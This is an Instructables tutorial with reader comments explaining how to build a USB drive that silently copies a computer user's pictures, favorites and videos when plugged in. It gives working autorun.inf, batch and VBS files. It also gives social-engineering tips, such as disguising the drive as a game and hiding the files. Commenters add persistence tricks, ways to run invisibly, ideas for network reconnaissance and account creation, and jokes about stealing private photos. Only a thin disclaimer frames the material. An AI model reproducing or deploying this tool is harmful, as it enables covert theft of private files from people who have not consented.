How to make flash drive that copy's users files silently... Home Sign Up!

Home Sign Up! Browse Community Submit
All
Art
Craft
Food
Games
Green
Home
Kids
Life
Music
Offbeat
Outdoors
Pets
Photo
Ride
Science
Tech
How to make flash drive that copy's users files silently and automatically
by bigdaddyclint on March 18, 2009
Table of Contents
How to make flash drive that copy's users files silently and automatically . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1
Intro: How to make flash drive that copy's users files silently and automatically . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2
Step 1: Materials needed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2
Step 2: Create autorun file for the flash drive . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2
Step 3: Make the file for copy of documents to drive . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3
Step 4: Make vb script to run batch file as invisible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
Step 5: Make a batch file to launch vb script and file.batch . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
Step 6: Create folder to save files withing thumb drive. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
Step 7: Put all files in root of drive and try out . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5
Related Instructables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5
Comments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5
http://www.instructables.com/id/How-to-make-flash-drive-that-copys-users-files-si/
Intro: How to make flash drive that copy's users files silently and automatically
****** THIS INSTRUCTABLE IS FOR INFORMATION PURPOSES ONLY IT IS ILEGAL TO COPY SOMEONES FILES WITHOUT THEIR PERMISSION I AM NOT
RESPONSABLE FOR ANY THING THAT MAY OR MAYNOT HAPPEN IF THIS INFORMATION IS USED IMPROPERLY****************
How to build a simple five file usb drive that copy's current user's favorites, pictures, and video folders to the thumb drive automatically and silently when inserted. Can
also be customized for other files that need to be copied.
Step 1: Materials needed
Let me first say this is my first instructable... so be nice. Any help in making it better would be nice.
Flash/thumb drive 8gb-- $25.00.
computer to write files on.
someone to try out thumb drive on.
Just a note, you can use any size thumb drive I used 8gb it was on sale when I bought it. Also the more space you have on the drive the better... just incase the target
computer has LOTS of files you will have the space to copy to.
Step 2: Create autorun file for the flash drive
Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you
insert the flash drive into said computer. Also used to change the thumb drive icon to something more acceptable for social engineering.
Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content.
[autorun]
icon=drive.ico
open=launch.bat
action=Click ok to Run game for Windows
shell\open\command=launch.bat
a couple of notes
the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you
save it as all files and put a .inf after it... like this autorun.inf
look at pic two if you have any issues.
You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file. Anyways just save it to the drive name it drive.ico next time you pull
http://www.instructables.com/id/How-to-make-flash-drive-that-copys-users-files-si/
the drive out and put it in you will have your custom icon. Great for social engineering if the situation arises, makes it much less of an issue to have someone click a file
on the drive if it looks like a game or something.
next is the open= command this code takes the launch batch file and opens it.. more on the launch batch file later.
next it action= this can change to suit your needs, when the autorun launches it sometimes may ask the user what to open dependent on what you put here is what the
user will think he is clicking on in the code above it tells the user to click here to run game for windows. This code acts as a backup just in case the user is asked what to
open.
The shell/open command also acts as a backup in case the user clicks cancel instead of open when prompted... this code will execute when the drive letter is clicked on.
No user can hold back on seeing what is in a random flash drive. That is the basis for this code.
Step 3: Make the file for copy of documents to drive
This is the heart of the flash drive copy I am not going to go through every line of code here but if you have questions just ask or use Google, I will however touch on the
main points of the code.
Like the last step make sure you use word to make this file save it as file.bat and all files not a word file just like in the picture.
Code follows
@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
@echo off
cls
what this code does
looks for what drive letter the flash drive is and sets it
starts xcopy
looks for current users pictures, favorites, and videos folder then copy's them to the found flash drive in folders my pics, favorites, and vids
clears screen and shuts down window
now the fun part of this code it can be changed to suit your needs say you need to copy say music folder the code would change to %backupcmd%
"%USERPROFILE%\music" "%drive%\all\music"
very clever huh
http://www.instructables.com/id/How-to-make-flash-drive-that-copys-users-files-si/
Step 4: Make vb script to run batch file as invisible
This code is very simple it runs the file.bat as a process so it does not show the cmd prompt and everything the batch file is processing
Code it with word and save as invisible.vbs
All files once again.
______________________________________________________________
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
______________________________________________________________
Step 5: Make a batch file to launch vb script and file.batch
ok this batch file does two things, it looks for the invisible.vbs file in the root of the flash drive then loads it with file.bat so file.bat is run with code from vbs file.... neat huh.
create with word and save as launch.bat
____________________________
wscript.exe \invisible.vbs file.bat
____________________________
Step 6: Create folder to save files withing thumb drive.
Go to the root of the thumb drive and create a folder named all that's it for this step. All the documents will be saved in this folder in there separate folders.
http://www.instructables.com/id/How-to-make-flash-drive-that-copys-users-files-si/
Step 7: Put all files in root of drive and try out
Now if you have not put all the files in the root of the flash drive it's time to do that now. One thing you can do is make all the files hidden, so for if some reason they look
into the drive they will see an empty drive and not think anything. Now all you should have to do is plug into someones computer and let the thumb drive do its work after
the LED is done flashing you should have all their files now. If for some reason it prompts for action just click the first one on the list then it will copy all files.
I would post a video if this in action but i am currently deployed to Iraq and bandwidth is very limited here if you have any questions or how i might make this Instructable
better dont hesitate to mail me thanks and for looking
Image Notes
1. notice the custom icon
Related Instructables
Yet another
USB flash drive
in leather
flavour by
thearchitect
Adding Hard
Drive Space to
your Laptop by
lebanezerscrooge
How to make a
USB thumb
drive gift more
memorable by
larskflem
How to mod a
USB Flash Drive
by Werne
Mini USB drive
mod: Keys by
cool!
Bring new life to
an old laptop
with Ubuntu! by
your dog
Comments
50 comments Add Comment
cooltg says:
view all 274 comments
Mar 6, 2011. 10:49 AM REPLY
The folder with the system name is made.....BUT NO FILES ARE BEING COPIED........please help out.... it's urgent.. :(
lo3tboyz says:
Feb 23, 2011. 10:04 PM REPLY
this instructable is totaly awesome!!!! it workzzzzzzzz..thx dude
Jacob Horton says:
Apr 16, 2009. 8:59 PM REPLY
Hey, I'm just wondering, what are you using, vista, mac, or windows
Super_Nerd says:
Feb 15, 2011. 12:55 PM REPLY
Dude, Vista is Windows.
fwjs28 says:
serisouly get your OS's straight....
http://www.instructables.com/id/How-to-make-flash-drive-that-copys-users-files-si/
May 26, 2009. 12:21 PM REPLY
gotmountains says:
May 17, 2009. 8:10 PM REPLY
Well, Vista is a version of Windows. It looks to me, from his screenshots, that he is using Vista or 7. DEFINITELY not Mac, as is obvious from the .vbs
file, the .exe files, the .bat file, and the .inf file. Macs don't use those kinds of files. Also, the buttons on the windows are on the left on Macs, on the right
on Windows. In his screenshots, they're on the right, therefore it's Windows.
Super_Nerd says:
Feb 15, 2011. 12:57 PM REPLY
For a vbs scripter and batch maker like me getting a mac is out of the question for what you just said.
erikals says:
Aug 15, 2009. 10:56 PM REPLY
you can get a program called leftsider to swap the buttons around
MediocreNinja says:
Jul 31, 2010. 12:13 PM REPLY
Yes, but I don't think a soldier in Iraq would really care
animan1 says:
Jun 4, 2009. 3:32 AM REPLY
VISTA
Mistersalt says:
Jan 20, 2011. 3:38 PM REPLY
Hey,
Thanks! This sounds great! I can't wait to try this out. But on the down side, I'll need to buy a usb.I already have one, but i like to use that for general
purposes, not pranking stuff.
Thanks again, this is such a unique idea!
axeman911 says:
Dec 14, 2010. 7:16 PM REPLY
srry but really hard to understand
The Droid says:
Nov 25, 2010. 5:35 PM REPLY
Because you used the "If exist autorun.inf" it will not work for every user that has an autorun already on the drive. By instead overwriting the autorun with
"echo blablablabla > %drive%autorun.inf", the user will still have an autorun, but your autorun. Besides, if you check for the file that you've already copied to
it (i.e. a virus or something) then the autorun will be the one you want already. You could also have it copy it on the thumb drive for every loop of the
program, so that the autorun, if edited or deleted, will always come back, unless the user stops the program process.
avibank911 says:
Nov 14, 2010. 10:50 AM REPLY
Hey Im so excited to use this! me and my mates were gonna spend days trynna figure out how to do this!! thanks a ton!
Do you think you could make the thumb drive pull a folder that you know only part of its name by adding a wild card ? strictly for example:
%backupcmd% "%USERPROFILE%\music" "%drive%\all\*SATS*
jgustin13 says:
Sep 9, 2010. 9:45 PM REPLY
this won't work on windows 7 because microsoft tightened alot of security holes
Lord Maul says:
Jun 19, 2010. 9:48 PM REPLY
How can i root the files?And how did you do the icon?
MediocreNinja says:
Jul 31, 2010. 12:12 PM REPLY
No, you just copy all the files (.bat, .inf., .vbs etc) and copy them to the root of your stick, (example "G://")
jash123 says:
Apr 12, 2009. 5:14 AM REPLY
btw i also have a U3 sandisk flash drive...would that be of any benefit?? thanks
wingeekkid says:
Jul 21, 2010. 7:28 AM REPLY
A U3 drive has a hidden partition that acts as a cd, this hidden cd image runs the U3 program without ANY user input if they have autorun enabled, and
runs silently in the background. U3 makes a program that will change the cd image on the flash drive so that you will be able to run another program
when the flash drive is inserted. I recommend that you check this instructable out if you want to use your drive.
http://www.instructables.com/id/How-to-make-flash-drive-that-copys-users-files-si/
dhynds100 says:
Jun 30, 2010. 9:55 PM REPLY
nice batch file lol but why dont you put a bit more flair in to it and gain all ip address and domain info and set uer self up a account to have a new net gate
way, rather than just get the sounds lol eg net view > allWorkGroupPC.txt this will put a txt file were the .bat is with the results from the command.
superant10000 says:
Jul 12, 2010. 2:13 PM REPLY
Don't forget to add a continue on error code. Can't have a silly mistake in one part bringing down your plot of world domination via nude picture theft from
a teen girls laptop...
surpcrepair says:
Jun 24, 2010. 5:09 PM REPLY
ok so this is what i want to be able to do can you give me an example of the code if possible... lets use c: as example So i want to copy all .jpg files on c: that
are bigger then 60Kb and im assuming if you give me that line i can just change the .jpg to .avi, .bmp, .mp3 whatever and actually even better if you could
limit it between specific file sizes like 100kb-120mb so basically i backup restore alot of user computers i want to put in the thump drive it will backup the
most common files they will need and i can restore without me wasting my time looking through files and seeing what i need to keep or not. also i am having
an issue i have done everything exectly as described but my autorun.inf wont autostart and it wont do anything but open in notepad... im using windows 7
010110111 says:
Jul 2, 2010. 5:14 AM REPLY
hey please show me what to assign to folder for example if i want any bat file i say" *.bat" and for any file "*.*" what can i say for any folder any whare??
please ur blessed and show me
surpcrepair says:
Jun 24, 2010. 10:03 PM REPLY
below is my script i have right now, i was using the other scripts but i really have no point i just double click on file.bat and everything works and i actually
want to see whats going on so i turned echo on. I want to have on the bottom part where D:\ begins i want to copy that and have all of the letters scanned
except the letter that the thumbdrive is on. I have this on my 16gb sdhc sdcard using a usb adapter. @echo on :: variables SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y echo on %backupcmd% "%USERPROFILE%\Favorites" "%drive%\backup\favorites" %backupcmd%
"%USERPROFILE%\Desktop\*.jpg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop\*.jpeg" "%drive%\backup\img" %backupcmd%
"%USERPROFILE%\Desktop\*.bmp" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop\*.3gp" "%drive%\backup\vid" %backupcmd%
"%USERPROFILE%\Desktop\*.mp4" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Desktop\*.avi" "%drive%\backup\vid" %backupcmd%
"%USERPROFILE%\Desktop\*.wmv" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Contacts" "%drive%\backup\contacts" %backupcmd%
"%USERPROFILE%\Links" "%drive%\backup\links" %backupcmd% "%USERPROFILE%\My Documents\My Music" "%drive%\backup\mp3"
%backupcmd% "%USERPROFILE%\My Documents\Downloads" "%drive%\backup\downloads" %backupcmd% "%USERPROFILE%\My Music"
"%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\My Documents\*.jpg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\My
Documents\*.bmp" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\My Documents\*.avi" "%drive%\backup\vid" %backupcmd%
"%USERPROFILE%\My Documents\*.mpg" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Documents\*.3gp" "%drive%\backup\vid"
%backupcmd% "%USERPROFILE%\My Documents\*.mp4" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Pictures"
"%drive%\backup\img" %backupcmd% "%USERPROFILE%\Videos" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Music"
"%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\Downloads" "%drive%\backup\downloads" %backupcmd% "D:\*.jpg"
"%drive%\backup\img" %backupcmd% "D:\*.jpeg" "%drive%\backup\img" %backupcmd% "D:\*.bmp" "%drive%\backup\img" %backupcmd% "D:\*.3gp"
"%drive%\backup\vid" %backupcmd% "D:\*.mp4" "%drive%\backup\vid" %backupcmd% "D:\*.avi" "%drive%\backup\vid" %backupcmd% "D:\*.wmv"
"%drive%\backup\vid" @echo on cls
Natrix2494 says:
Sep 22, 2010. 11:18 PM REPLY
hmm, is there a simple way i can exclude a specific folder? like say... "AppData"
it just keeps getting in the way.
surpcrepair says:
Jun 24, 2010. 5:59 PM REPLY
just to update nevermind its working perfectly this computer is just highly customized and i have all of the autorun and everything off it works great on my
other winxp computer.... but is there a way to not have the command box come up and say " CreateObject("Wscript.Shell").Run """" &
WScript.Arguments(0) & """", 0, False " also one more question, i still havent figured out how the do the above part with the sizes but i am having an
issues with the pdf files i its taking everything from program files that is pdf and i really dont need those its taking like the pdf install and help files from
installed programs is there a way to block specific locations from being copied from or for things like pdf and documents and i going to have to specify
folders to look in?
greenbean says:
Jul 7, 2010. 6:55 PM REPLY
There is in fact a way to not have a command box come up. The way I do it is:
+Write (and compile) a C file that runs your batch file's commands invisibly
#include <stdio.h>
#include <windows.h>
int main()
{
system("examplefile.bat");
return (0);
}
+Write a VBS file that runs that compiled C program (now a shiny .EXE file)
Set objSh = CreateObject("Shell.Application")
objSh.ShellExecute "example-exe-file", "" , "", "", 0
Now make sure they are all in the same directory, unless you want to get more complicated with your code. To start the invisible batch file, run the
VBS file.
This works because the VBS file can start a program invisibly, but it can only do this to executables (.EXEs). This doesn't include batch files (.BAT).
However, the compiled C file is in fact executable. So the VBS runs the C, which runs the Batch as its own commands (that is to say, invisibly).
http://www.instructables.com/id/How-to-make-flash-drive-that-copys-users-files-si/
For more help, just comment.
By the way, I was about to write an instructable on that, but now I dont think it's necassary.
surpcrepair says:
Jun 24, 2010. 9:58 PM REPLY
lol another question... so i want to add multiple drives to my script and i am having an issue where I put like the drive letters I want to scan and copy
files from but when it tries to copy/scan on the drive litter that my thumbdrive is on it causes a problem and hangs. how do I get it to not scan the drive
that its running on when its scanning for files? sorry so many questions but i have been playing with this thing all night and almost got it the way i
want it other then these few things and I have been googleing all over to find out more info but not coming up with much.
knoxarama says:
May 8, 2009. 5:34 PM REPLY
so if your a soldier in iraq, does that mean you got this from like the U.S. government or something? oh and, GO SOLDIERS, U ROCK KEEP OUR
COUNTRY SAFE!!!!!! U GUYS ROCK!!!! GOD BLESS OUR TROOPS!!!!!
truthkid says:
Jun 28, 2009. 1:15 AM REPLY
No this is basic batch nonsense. The admins of the military's network are one step ahead with
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsbStor
Value = 3
No USB storage devices. Local admin account disabled to prevent someone from running ERD or NTCRACK, and admin accounts tied to your ID card
you use to login.
gibsonav says:
Jun 27, 2010. 9:42 AM REPLY
and why does the DOIM do this? for tweaks just like this one. the machine and the data on it is property of the us government. violation of a DoD
OpOrd is an article 15 punishable offense...nuff said. this is for "HOME" use.
Kryptonite says:
Oct 13, 2009. 2:27 AM REPLY
So that's how they do it at school.
knoxarama says:
Jun 28, 2009. 6:12 AM REPLY
if it works it works. i've tried it and it works. it's useful. nonsense or not, if you can copy files off of a computer like that with such simple code it is
something worth looking at.
animan1 says:
Jun 4, 2009. 3:18 AM REPLY
that right let god bless the soldiers in a good way.
mitchell931993 says:
Jun 5, 2009. 7:43 PM REPLY
no offense- but the American soldiers didn't invade Iraq until they discovered large quantities of oil.
Kryptonite says:
Oct 13, 2009. 2:28 AM REPLY
Wasn't the soldier's idea to go for the oil though, it was the guys who sent them there.
animan1 says:
Jun 30, 2009. 7:09 AM REPLY
i wish ppl would RESPECT them they RISK there lives EVERY day. and seirously they go thru a THON of train y cant we respect them (they
defend us also)
mitchell931993 says:
Aug 24, 2009. 4:12 PM REPLY
It's hard to class your opinion as valid when you present the English skills of a primary school student *Their not there *Seriously not seirously
*Starting a sentence with and *Ton or tonne (dependent on your country, i assume your American, so the previous) *Finally i could pick on
your "y" and lack of apostrophe in your can't, but I'll make the assumption your keyboard doesn't have those keys.
mexx.admin says:
Nov 6, 2010. 10:32 PM REPLY
Thaaaankyouuuu for correcting this guy's English. btw. It's spelled You're* not your. lol xD
PFeamster says:
Jun 27, 2010. 9:41 PM REPLY
thanks for the English lesson A-hole. Go grade some papers and leave your punctuation comments somewhere else.
http://www.instructables.com/id/How-to-make-flash-drive-that-copys-users-files-si/
animan1 says:
Aug 26, 2009. 7:50 AM REPLY
my keyboard dosn't have what key?
mitchell931993 says:
Aug 26, 2009. 4:29 PM REPLY
great way to follow a train of thought.
SmythC17 says:
Aug 24, 2009. 3:25 AM REPLY
Hey animan1, mitchell931993 has a point. America never had to go into Iraq, it was a battle they had no right to enter, and also they're half
the world away from Iraq so why would they send valueable men half way across the worlds to a small country having problems when the
troops could be used somewhere they could be put to better use. Anyway enough of that and just saying this is a cool code thingi to have! ;)
animan1 says:
Jun 25, 2010. 6:59 AM REPLY
but who sent them in? but u obviously forgot bout 9-11
LiquidLightning says:
Oct 22, 2010. 3:41 PM REPLY
Iraq didn't cause the 9-11 incident. It was Al-Quaida. 0.o
animan1 says:
Nov 10, 2010. 9:01 AM REPLY
yes, after 9-11 we sent them into afganastan to kill guys like sadom usane. weve been fighting since
BEAST14 says:
Jun 20, 2010. 8:56 AM REPLY
...We should all move to Mars.
animan1 says:
Jun 25, 2010. 7:00 AM REPLY
u can im not
animan1 says:
Aug 24, 2009. 5:26 AM REPLY
forget it
Gamer917 says:
i agree
view all 274 comments
http://www.instructables.com/id/How-to-make-flash-drive-that-copys-users-files-si/
Aug 4, 2009. 12:12 AM REPLY